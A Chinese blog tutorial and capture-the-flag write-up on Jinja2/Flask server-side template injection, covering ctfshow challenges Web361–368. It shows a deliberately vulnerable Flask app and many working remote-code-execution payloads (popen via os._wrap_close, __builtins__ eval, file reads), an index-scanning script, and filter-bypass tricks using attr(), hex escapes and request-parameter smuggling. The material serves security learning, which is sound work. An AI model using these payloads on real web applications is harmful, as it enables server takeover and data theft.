ctfshow-SSTI

SSTI模板注入

参考文档

SSTI进阶:https://blog.csdn.net/miuzzx/article/details/110220425

SSTI入门

SSTI,服务端模板注入,其实也就是模板引擎+注入,那么我们首先需要了解一下模板引擎。

模板只是一种提供给程序来解析的一种语法,通俗点理解:拿到数据,塞到模板里,然后让渲染引擎将塞进去的东西生成 html 的文本,返回给浏览器,这样做的好处展示数据快,大大提升效率。

常见的模板引擎如下

1
2
3
PHP: Smarty, Twig, Blade
JAVA: JSP, FreeMarker, Velocity
Python: Jinja2, django, tornado

Flask框架

Flask框架使用的模板是Jinja2,在给出模板渲染代码之前,我们先在本地构造一个html界面作为模板,也就是模板渲染代码的相同位置下,有一个名templates的文件夹,在里面写入一个index.html文件,内容如下:

1
2
3
4
5
6
7
8
9
<!DOCTYPE html>
<html lang="en">
<head>
<title>SSTI</title>
</head>
<body>
<h3>Hello,{{name}}!</h3>
</body>
</html>
"{{}}"中的name即为需要渲染的变量,此时我们写我们的模板渲染代码(app.py),内容如下:
1
2
3
4
5
6
7
from flask import *
app = Flask(__name__)
def index():
query = request.args.get("name")
return render_template('index.html', name = query)
if __name__ == "__main__":
app.run(port = 1211, debug=True)

Get方式提交参数?name=Diana运行即可

SSTI成因

如果程序员偷懒,把两个文件合并到一个文件中,就会导致SSTI注入漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from flask import Flask,request,render_template_string
app = Flask(__name__)

@app.route('/', methods=['GET', 'POST'])
def index():
name = request.args.get('name')
template = '''
<html>
<head>
<title>SSTI</title>
</head>
<body>
<h3>Hello, %s !</h3>
</body>
</html>
'''% (name)
return render_template_string(template)
if __name__ == "__main__":
app.run(host="0.0.0.0", port=5000, debug=True)

此时如果传入?name=21则会出现

这是因为"{{}}"包裹的内容会被渲染,3*7被当作了一个python表达式进行计算,计算的结果被格式化输出到%s处,最后导致显示结果为Hello,21!

Python语法知识

SSTI中可能用到的语法知识

下划线包裹的是魔术方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
__class__           查看对象所在的类
__mro__ 查看继承关系和调用顺序,返回元组
__base__ 返回基类
__bases__ 返回基类元组(Tuple)
__subclasses__() 返回子类列表(List)
__init__ 调用初始化函数,可以用来跳到__globals__
__globals__ 返回函数所在的全局命名空间所定义的全局变量,返回字典
__builtins__ 返回内建内建名称空间字典
__dic__ 类的静态函数、类函数、普通函数、全局变量以及一些内置的属性都是放在类的__dict__里
__getattribute__() 实例、类、函数都具有的__getattribute__魔术方法。事实上,在实例化的对象进行.操作的时候(形如:a.xxx/a.xxx())都会自动去调用__getattribute__方法。因此我们同样可以直接通过这个方法来获取到实例、类、函数的属性。
__getitem__() 调用字典中的键值,其实就是调用这个魔术方法,比如a['b'],就是a.__getitem__('b')
__builtins__ 内建名称空间,内建名称空间有许多名字到对象之间映射,而这些名字其实就是内建函数的名称,对象就是这些内建函数本身。即里面有很多常用的函数。__builtins__与__builtin__的区别就不放了,百度都有。
__import__ 动态加载类和函数,也就是导入模块,经常用于导入os模块,__import__('os').popen('ls').read()]
__str__() 返回描写这个对象的字符串,可以理解成就是打印出来。
url_for flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app
get_flashed_messages flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app
lipsum flask的一个方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块:{{lipsum.__globals__['os'].popen('ls').read()}}
{{cycler.__init__.__globals__.os.popen('ls').read()}}
current_app 应用上下文,一个全局变量
request 可以用于获取字符串来绕过,包括下面这些,引用一下羽师傅的。此外,同样可以获取ope函数:request.__init__.__globals__['__builtins__'].open('/proc\self\fd/3').read()
request.args.x1 get传参
request.values.x1 所有参数
request.cookies cookies参数
request.headers 请求头参数
request.form.x1 post传参 (Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)
request.data post传参 (Content-Type:a/b)
request.json post传json (Content-Type: application/json)
config 当前application的所有配置。此外,也可以这样{{config.__class__.__init__.__globals__['os'].popen('ls').read() }}

Jinja2一些语句

"{%%}"可以用来声明变量,也可以用于循环语句和条件语句
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<!---test.html--->
<!DOCTYPE html>
<html lang="en">
<head>
条件语句和循环语句
</head>
<body>
{% for i in ['Ava', 'Bella', 'Diana', 'Elieen'] %}
{% if i in user %}
<h3>Hello, {{i}}!</h3>
{% else %}
<h3>There is no user '{{i}}'</h3>
{% endif %}
{% endfor %}
</body>
</html>
1
2
3
4
5
6
7
8
9
# app.py
from flask import Flask,render_template
app = Flask(__name__)
@app.route('/', methods=['GET', 'POST'])
def test():
user = ["Ava", "Diana"]
return render_template('test.html', user = user)
if __name__ == "__main__":
app.run(port=1211, debug=True)

一些可能会用到的函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
length():获取一个序列或者字典的长度并将其返回

int():将值转换为int类型;

float():将值转换为float类型;

lower():将字符串转换为小写;

upper():将字符串转换为大写;

reverse():反转字符串;

replace(value,old,new): 将value中的old替换为new

list():将变量转换为列表类型;

string():将变量转换成字符串类型;

join():将一个序列中的参数值拼接成字符串,通常有python内置的dict()配合使用

attr(): 获取对象的属性
关于attr:
官方解释:foo|attr("bar") 等效于 foo["bar"]

管道符号可以参考官方文档:https://jinja.palletsprojects.com/en/3.0.x/templates/#filters

Payload构造

第一步:查找基类

1
2
"".__class__.__mro__[-1]
# 直到出现<class 'object'>

第二步:查找基类的子类

1
2
{{"".__class__.__mro__[-1].__subclasses__()}}
# 此时会出现大量子类

os._wrap_close

大多数情况下,我们会利用<class os._wrap_close>这个类

可以用以下脚本来查找下标,具体视情况更改脚本内容

1
2
3
4
5
6
7
8
9
import requests
headers = {
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36'}
for i in range(500):
url = "http://127.0.0.1:5000/?name=\
{{().__class__.__bases__[0].__subclasses__()["+str(i)+"]}}"
res = requests.get(url=url, headers=headers)
if 'os._wrap_close' in res.text:
print(i)

接下来我们利用<class os._wrap_close>这个类中的popen方法。

调用__init__方法初始化类

1
{{"".__class__.__bases__[0]. __subclasses__()[138].__init__}}

然后使用__global__方法获取以字典形式返回的方法和属性

1
{{"".__class__.__bases__[0]. __subclasses__()[138].__init__.__globals__['popen']('cmd').read()}}

cmd即为需要执行的命令,实现rce。

popen:https://blog.csdn.net/Z_Stand/article/details/89375589

__builtins__模块

还有一个常用的模块就是__builtins__,它里面有eval() open()等函数,我们可以也利用它来进行RCE

它的payload是

1
2
{{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('cmd').read()")}}
{{x.__init__.__globals__.__builtins__.eval(request.cookies.a)}}

读取文件的payload

1
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read() }}{% endif %}{% endfor %}
1
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cmd').read()")}}{% endif %}{% endfor %}

SSTI常见的绕过方式

绕过.

1
2
3
4
5
6
7
1.用[]代替.
{{"".__class__}} 等价于 {{""['__class__']}}
2.用attr()过滤器代替
{{"".__class__}} 等价于 {{""|attr('__class__')}}
#关于attr:
#官方解释:foo|attr("bar") 等效于 foo["bar"]
# lipsum | attr('__globals__') 等价于 lipsum.__globals__

绕过[]

可以使用__getitem__方法,用()代替[]

1
2
3
__bases__[0] 等价于 __bases__.__getitem__(0)
# 利用下面payload可以避免使用中括号
{{.__init__.__globals__.__builtins__.eval(request.cookies.a)}}

绕过_

1
2
3
4
5
1、通过list获取字符列表,然后用pop来获取_,举个例子
{% set a=(()|select|string|list).pop(24)%}{%print(a)%}
下划线的ascii码是24, 把24换成其他数字就可以构造其他字符
2、十六进制编码进行绕过,举个例子
{{()["\x5f\x5fclass\x5f\x5f"]}} = {{().__class__}}

绕过"{{}}"

有时候为了防止SSTI,可能程序员会ban掉"{{}}",这个时候我们可以利用jinja2的语法,用"{%%}"来进行RCE。

1
{%print("".__class__.__bases__[0]. __subclasses__()[138].__init__.__globals__['popen']('dir').read())%}

for循环配合if语句

1
{%for i in ''.__class__.__base__.__subclasses__()%}{%if i.__name__ =='_wrap_close'%}{%print (i.__init__.__globals__['popen']('dir').read())%}{%endif%}{%endfor%}

绕过''""

利用request.args.a传入参数绕过

1
{{url_for.__globals__[request.args.a]}}&a=__builtins__ 等价于 {{url_for.__globals__['__builtins__']}}

绕过args

如果args也被过滤了,那我们就利用requests.cookiesrequests.values

1
Get传参 {{url_for.__globals__[request.cookies.a]}}

然后打开F12修改 Cookie: "a" :__builtins__

绕过数字

利用过滤器和管道符号绕过

官方文档:https://jinja.palletsprojects.com/en/3.0.x/templates/#filters

1
2
{{(dict(a=1,b=1,c=1)|join|count)}} 等价于 {{3}}
原理:count("".join({a:1, b:1, c:1}))

字典中变量个数就是需要构造的数字个数,原理是通过join()函数把字典变成字符串,然后用count()函数统计字符串长度

绕过关键字

有时候class,base等关键词也会被过滤,我们同样可以通过join()函数拼接绕过

1
{{dict(__in=a,it__=a)|join} 等价于 __init__

另外也可以使用~连接字符,~是jinja2中的连接符,可以连接变量字符

1
{{"__in"~"it__"}} 等价于 __init__

unicode编码绕过

CTF show SSTI刷题

Web361

没有任何过滤

1
?name={{"".__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}

Web362

过滤了数字2和3

第一种payload

直接构造数字,利用乘法得到132(一般os._wrap._close类都在132)

1
?name={{"".__class__.__base__.__subclasses__()[(dict(a=1,b=1)|join|count)*66].__init__.__globals__['popen']('cat /flag').read()}}

第二种payload

过滤器,先把变量b赋值为2

1
?name={%set b=(dict(b=c,c=d)|join|count)%}{{''.__class__.__base__.__subclasses__()[66*b].__init__.__globals__['popen']('tac /f*').read()}}

第三种payload

利用__builtins__模块,x可以是任意字母

1
?name={{x.__init__.__globals__['__builtins__'].eval('__import__("os").popen("cat /flag").read()')}}

Web363

过滤了单引号和双引号

利用os._wrap_close

1
?name={{().__class__.__base__.__subclasses__()[132].__init__.__globals__[request.args.a](request.args.b).read()}}&a=popen&b=cat /f*

利用__builtins__

1
?name={{x.__init__.__globals__[request.args.a].eval(request.args.b)}}&a=__builtins__&b=__import__('os').popen('cat /f*').read()

Web364

过滤了单引号,双引号以及args

那就利用cookies

1
?name={{().__class__.__base__.__subclasses__()[132].__init__.__globals__[request.cookies.a](request.cookies.b).read()}}

打开f12修改cookies。a:popen, b:cat /f*

Web365

在上一题的基础上过滤了中括号

1
?name={{x.__init__.__globals__.__getitem__(request.values.b).eval(request.values.a)}}&b=__builtins__&a=__import__('os').popen('tac /flag').read()

参数逃逸,也可以修改cookies

Web366

开始过滤下划线,我们可以开始使用attr()过滤器进行绕过

attr()过滤器的用法

1
2
3
foo | attr('bar') 等价于 foo['bar']
而foo['bar']和foo.bar在jinja2下又是等价的
lipsum | attr('__globals__') 等价于 lipsum.__globals__

image-20230819145726677

还是要多读文档,这两个东西是等价的

1
2
?name={{(lipsum|attr(request.values.a)).os.popen(request.values.b).read()}}&a=__globals__&b=cat /flag
等同于 lipsum.__globals__.os.popen('cat /flag').read()

Web367

过滤了os,继续参数逃逸

1
?name={{(lipsum|attr(request.values.a))|attr(request.values.b)}}&a=__globals__&b=os.popen('cat /flag').read()

由于attr获取属性,所以使用这段payload没有回显,应该用以下这段payload

1
?name={{(lipsum|attr(request.values.c)).get(request.values.a).popen(request.values.b).read()}}&a=os&b=cat /flag&c=__globals__

Web368

过滤了花括号,那就使用"{%%}"来执行python语句

1
?name={%print((lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read())%}&a=__globals__&b=os&c=cat /flag

Web369

后面题目比较刁钻,有空再更新

一点小插曲

Hexo使用Nunjucks这个模板引擎,同样使用"{{}}"和"{%%}"来包裹变量,因此在写完这篇博客进行上传操作时,hexo出现了报错,可谓是SSTI现身说法了。

解决方法:https://blog.csdn.net/Calvin_zhou/article/details/109303640

8.19

不知道为什么之前的md没有保存,又出现了渲染错误。

作者

D1anash1ba

发布于

2023-07-29

更新于

2023-12-27

许可协议

You need to set install_url to use ShareThis. Please set it in _config.yml.
You forgot to set the business or currency_code for Paypal. Please set it in _config.yml.

评论

You forgot to set the shortname for Disqus. Please set it in _config.yml.
You need to set client_id and slot_id to show this AD unit. Please set it in _config.yml.